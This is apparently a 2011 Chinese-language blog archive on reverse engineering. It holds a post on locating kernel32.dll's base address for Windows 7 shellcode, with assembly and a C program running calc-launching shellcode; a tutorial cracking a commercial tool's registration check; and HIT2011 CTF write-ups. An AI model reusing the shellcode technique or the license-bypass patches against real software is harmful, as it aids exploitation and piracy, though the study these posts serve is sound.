2011年10月19日 星期三

[分享]Win 7下定位kernel32.dll基址及shellcode編寫


      為了使shellcode在多種作業系統平臺下都可以正常運行,就不得不動態的定位kernel32.dll的基底位址。而被廣泛使用的一種方法是通過TEB/PEB結構獲取kernel32.dll基底位址,我個人第一次接觸是通過綠盟月刊的一篇文章“通過TEB/PEB枚舉當前進程空間中使用者模組清單”方才知道這種被眾多程式設計人員使用的方法。至於這個方法的最原始出處該文作者也未提及。只得知29A雜誌也有大量使用該技術。這種方法適用於除Win7以外的所有windows作業系統包括95/98/ME/NT/2K/XP,大小只有34 bytes,下面是其原理及實現代碼;
      更詳細的知識大家可以參考snowdbg大牛的文章Windows下的shellcode剖析淺談http://bbs.pediy.com/showthread.php?t=99007
      利用PEB結構來查找kernel32.dll的原理:FS段寄存器作為選擇子指向當前的TEB結構,在TEB偏移0x30處是PEB指標。而在PEB偏移的0x0c處是指向PEB_LDR_DATA結構的指標,位於PEB_LDR_DATA結構偏移0x1c處,是一個叫InInitialzationOrderModuleList的成員,他是指向LDR_MODULE鏈表結構中,相應的雙向鏈表頭部的指標,該鏈表載入的DLL的順序是ntdll.dllkernel32.dl,因此該成員所指的鏈表偏移0x08處為kernel32.dll地址。
更詳細的知識大家可以參考snowdbg大牛的文章Windows下的shellcode剖析淺談http://bbs.pediy.com/showthread.php?t=99007
獲取KERNEL32.DLL基址彙編實現代碼:

;find kernel32.dll
find_kernel32:
    push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]
    test eax, eax
    js find_kernel32_9x        ;win9x or nt
find_kernel32_nt:
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x1c]
    lodsd
    mov eax, [eax + 0x8]
    jmp find_kernel32_finished
find_kernel32_9x:
    mov eax, [eax + 0x34]
    lea eax, [eax + 0x7c]
    mov eax, [eax + 0x3c]
find_kernel32_finished:
    pop esi
    ret

但非常可惜的是這種方法在Win7下是不適用的,所以很高興現在給大家分享國外網站上看到的一種新的方法來定位kernel32.dl的基底位址,該方法可以在所有windows版本上適用!這種方法通過在InInitializationOrderModuleList中查找kernel32.dll模組名稱的長度來定位它的基底位址,因為"kernel32.dll"的最後一個字元為"\0"結束符。所以倘若模組最後一個位元組為"\0"即可定位kernel32.dll的地址;

具體代碼實現方法:
;find kernel32.dll
find_kernel32:
    push esi
    xor ecx, ecx
    mov esi, [fs:ecx+0x30]
    mov esi, [esi + 0x0c]
    mov esi, [esi + 0x1c]
next_module:
    mov eax, [esi + 0x8]
    mov edi,[esi+0x20]
    mov esi ,[esi]
    cmp [edi+12*2],cx
    jne next_module
    pop esi
    Ret
      通過我的測試,這種利用該方法編寫的shellcode可以在32位平臺Windows 5.0-7.0的所有版本上適用,下面是經我測試在win 7下實現執行calc.exeshellcodeshellcode本身寫的很粗糙只為驗證該方法的可用性!

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main()
{
  unsigned char shellcode[219] = {
  0xE9, 0x96, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B, 
  0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x66, 0x39, 0x4F, 0x18, 0x75, 0xF2, 
  0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA, 
  0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE, 
  0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE9, 
  0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66, 
  0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01, 0xEB, 0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24, 
  0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08, 
  0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19, 
  0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00, 
  0x00, 0x89, 0xE5, 0xE8, 0x5D, 0xFF, 0xFF, 0xFF, 0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04, 
  0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B, 
  0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF, 
  0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
};

printf("size of shellcode: %d\n", strlen(shellcode));
system("pause");
((void (*)())shellcode)();
return 0;
}
感謝所有朋友回復和意見以及riusksk的驗證,漏洞方面我是新手,還需不斷學習,我深信技術的提升總是通過一次一次的更新的認知!發現自己的不足,不斷進步!這才是我一直關注看雪的原因!
參考連結:
http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/
http://code.google.com/p/w32-exec-calc-shellcode/


 


 


 


---------------------------另種獲得kernel32.dll基址方式---------------------------


 


自己實現的,直接比對模組名得到kernel32.dll基底位址,原理一樣,適用所有windows版本
            MOV  EAX,DWORD PTR FS:[30H]  
            MOV  EAX,DWORD PTR [EAX+0CH]
        MOV  EAX,DWORD PTR [EAX+1CH] 
//...................................................................................................


            PUSH 0x006c006c      
            PUSH 0x0064002e
            PUSH 0x00320033
            PUSH 0x006c0065
            PUSH 0x006e0072
            PUSH 0x0065006B            
            MOV ESI,ESP
            
_LOOP:           
            XOR ECX,ECX
            MOV EAX,DWORD PTR [EAX]        //LDR_MODULE鏈表頭的Flink指標
            LEA EBX,DWORD PTR [EAX+1CH]    //獲取_LDR_DATA_TABLE_ENTRY結構中的成員BaseDllName指標
            MOV CX,WORD PTR [EBX]         //獲取BaseDllName->Length
            MOV EDI,DWORD PTR [EBX+4H]    //獲取BaseDllName->buffer
            
            CMP ECX,0
            JE  _LOOP
            CMP CX, 24
            JNE  _LOOP
        
            PUSH EAX                     //保存LDR_MODULE鏈表指標
//...................................................................................................            
            push  ECX                   //strcmpwi函數的三個參數
            push  ESI
            push  EDI                            
//...................................................................................................  
            push    0                    //填充返回偽值
            push    ebp
            mov     ebp, esp
            sub     esp, 48h
            push    ebx
            push    esi
            push    edi
            lea     edi, [ebp-48H]
            mov     ecx, 12h
            mov     eax, 0CCCCCCCCh
            rep stosd
            mov     [ebp-4], 0
            jmp     short loc_40104A


loc_401041:
            mov     eax, [ebp-4]
            add     eax, 1
            mov     [ebp-4], eax

loc_40104A:
            mov     ecx, [ebp-4]
            cmp     ecx, [ebp+10H]
            jnb     short loc_40109D
            mov     edx, [ebp+8H]
            add     edx, [ebp-4]
            xor     eax, eax
            mov     al, [edx]
            cmp     eax, 41h
            jl      short loc_401080
            mov     ecx, [ebp+8]
            add     ecx, [ebp-4]
            xor     edx, edx
            mov     dl, [ecx]
            cmp     edx, 5Ah
            jg      short loc_401080
            mov     eax, [ebp+8]
            add     eax, [ebp-4]
            xor     ecx, ecx
            mov     cl, [eax]
            add     ecx, 20h
            mov     byte ptr [ebp-8], cl

loc_401080:
            mov     edx, [ebp-8]
            and     edx, 0FFh
            mov     eax, [ebp+0ch]
            add     eax, [ebp-4]
            xor     ecx, ecx
            mov     cl, [eax]
            cmp     edx, ecx
            jz      short loc_40109B
            xor     eax, eax
            jmp     short loc_4010A2


loc_40109B:
            jmp     short loc_401041


loc_40109D:
            mov     eax, 1

loc_4010A2:
            pop     edi
            pop     esi
            pop     ebx
            mov     esp, ebp
            pop     ebp
            add     esp,16                  //平衡堆疊
//...................................................................................................                
            CMP EAX,0
            JNE  _FINDED
            POP EAX
            JMP  _LOOP
                                                       
_FINDED:
            POP  EAX
            MOV EAX, DWORD PTR[EAX + 8]   //獲取kernel32.dll的基底位址
            ADD ESP, 24


2011年9月12日 星期一

[動畫教學] 程式碼快速簡轉繁

今天來做個 "程式碼快速簡轉繁"的動畫

雖然是個小技巧,但卻十分好用

進入正題.....

從對岸抓下來的程式碼  都是亂碼

首先呢

1.先把語系修改成Taiwan 然後存檔


2.利用馴碼快手中文化資源 & 程式碼(可以用自己熟悉的中文化工具)

3.翻譯大陸用語

4.Done  OK  這樣就快速轉換完畢囉

By Kost0911  2011.9.12  下次見囉~BYE


動畫地址:http://cn.ziddu.com/download/618502/CodeCnToTw.rar.html


2011年8月14日 星期日

[原創]一個彈出網站的工具分析

慣例的PEiD查下殼,VC6 無殼  成功的第一步


 


首先用OD打開F9執行,我X~程式雖然執行了,但OD卻關閉了


 


破解  


 


從這裡可以知道,載入的只是個Load,而不是真正執行的本體


Ctrl+F2 重新載入, 下 CreateFileA 斷點試試


順利斷下,抓到某個可疑的檔案


破解  


照這目錄手動把檔案抓出來,檔名是tempk.txt
但是! 手動把tempk.txt 副檔名 改成 .exe 就會神奇的發現這是個執行檔


3.bmp  


而且跟Load程式圖標完全一樣,很開心的打開他.....


!?....沒動靜.....再點.....X第二次


看來有某種效驗的樣子,直接就退出了


再重新載入Load,這次用插件搜索字符串


找完後  Ctrl+F 找 tempk 這個可疑的名稱


破解  


應該會出現跟我圖片一樣的地方,雙擊點進去


破解 


現在F8一路往下跟


中途可以跟到一些有趣的東西,像是呼叫DeleteFileA 刪除檔案,


判斷只能有同一行程存在,否則自行結束等等....但現在我直接講關鍵點


F8到下方的地方,看到Winexec這個函數,第2個Push參數,最後面有個tempk.txt cs


這個cs就是重點了,要有這個cs當啟動參數,這個程式才能執行


破解   


OK,接下來重新載入tempk.txt 填入啟動參數cs


破解  


F9執行~登登  果然成功執行了


但這樣挺麻煩的,所以還是要找關鍵點改掉他才方便


先去掉啟動參數  故意讓他結束程式


下ExitProcess斷點 ,再使用堆疊回朔向上找


最後有個關鍵位置


破解  


把je 改 jmp 就可以不讓程式中斷了~打了一堆 終於要進入Crack的部分了


破解  


點開註冊按鈕,出現這個視窗,點"註冊" 亂輸入註冊碼後,會發現程式又直接結束了


看起來似乎是重啟驗證型的


重新載入後這裡直接斷bpx RegOpenKeyExA


一個Retn 10返回後,會看到一些關鍵的東西~破解  


這裡在讀取註冊表,繼續F8往下會發現一個關鍵地方


破解  


這裡就是關鍵點了,406711的跳轉如果跳了,就註冊失敗


可能一些朋友看到這就忍不住想把jnz Nop掉吧~


但這樣改後,雖然看起來像破解成功了,但是對exe加網站後,註冊提示馬上又跑出來了


其實關鍵在[ebp+60]這裡,這個記憶體位置會多次效驗是不是1


所以只要把 cmp byte ptr ss:[ebp+60],1  改成


                mov byte ptr ss:[ebp+60],1


這樣就可以完全破解了


其實如果丟到虛擬機的話,還有個效驗,不過也是斷MessageBoxA就可以清除了


至於中文化甚麼的就非常簡單了~就不贅述了


 


PS:從這程式裡學到了,躲貓貓式的隱藏檔案


    啟動參數的效驗 & 全域變量的修改


    還有個虛擬機的檢測


雖然是個小東西,但還是挺有意思的。


 


想要玩玩這個軟體的可以到這裡抓:


http://cn.ziddu.com/download/613392/InsertWeb.rar.html


By   Kost0911 2011.8.15  


2011年7月24日 星期日

HIT2011_Binary 1 - 吃角子老虎-我的分析

這題真的是要靠提示才想到的解答


Lucky Seven就是個關鍵提示


分析一下詳細的流程,一開始拿到的SlotMachine.exe是一個Load類型的檔案


執行後會讀取{EEEE25A2-84EC-4817-8238-5B47CFFAF094}這個怪字串


再利用演算法產生FakeKey,


然後偷偷的在C:\Documents and Settings\目前使用者\Local Settings\Temp資料夾底下


釋放出一個SlotMachineDrop.exe的檔案-->(可透過OD斷CreateFileW來觀察)


再透過ReadFile & WriteFile 把計算出來的FakeKey寫入剛剛釋放出來的SlotMachineDrop.exe



最後透過CreateProcess函數執行這個SlotMachineDrop.exe


詳細的流程Code如下↓



int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
{
  int FakeKey; 
  unsigned int NowTime; 
  int Random_Number; 

  FakeKey = Create_FakeKey();
  NowTime = _time64(0); //利用時間取得亂數(才不會重複)
  srand(NowTime);
  Random_Number = rand();
  Read_WriteFile_To_CreateFakeKeyFile(Random_Number % 6, FakeKey);// 這裡是關鍵,因為是 亂數%6  


  也就是只有 0 1 2 3 4 5 總共6組FakeKey



  // 破解點就是把傳進去的參數改成 "6"  也就是Lucky的第七組Key 就是破關Key了
  Exec_FakeKeyFile();
  return 0;
}


接下來用OD動態跟蹤  記憶體位置 00401000就是 上面貼的wWinMain函數地址


下面貼張完整的OD註釋圖


Wargame   


知道解答後再重新看一次還真是簡單,但不知道爆破點可是想破了頭呢XD


繼續努力搞逆向~共勉之!   By kost0911 2011.7.25


2011年7月23日 星期六

HIT2011-Binary 3 -我的分析_IDA暴力破解

這題其實破的有點技術犯規,因為前提是如果沒原檔對照就沒轍拉~


方法如下:


1.Orange.exe 是個大家都玩過的訓練集中力的小遊戲


   PEid載入


   


    會發現是個未知的殼,通常對付未知殼最簡單有效的方式就是F8跟蹤法(F8一步步往下,遇到往上的跳轉就在下一行F4繼續跟蹤)


    這樣稍微跟了一會,會看到這個跳轉


    Wargame


這樣就到OEP囉


Wargame 


直接Dump,沒StolenCode 也沒附加資料需要修正,可以直接執行。  


2.接下來的方法 聰明的孩子千萬別學XD  


   就是Google先去把原版的特訓99這個小遊戲抓下來


   然後 "開2個IDA 放左右2邊",使用人肉尋找每個Function的不同點


   很幸運的,在Function_403746 最下面會找到這麼一段Code


   3.bmp


這裡就是關鍵囉,可以看到是經過Xor 77777777去解碼的


接下來開OD實際動態跟一遍,


4.bmp  


使用改暫存器爆破法一路暴下去


5.bmp


跳向驗證後,會看到解碼關鍵是11111111 * 7 後 再做xor運算


6.bmp


Key存放在408494  可以DD 408494  F8慢慢跟,就會看到Key解出來了


 


Ps:這題出題者的本意是想在KeyDownEvent下條件斷點


然後Trace追蹤的,這麼暴力的解法出題者大概也沒想到吧XD


不過這也證明自己還不夠強,再利用1年時間精進  Hit2012再戰一回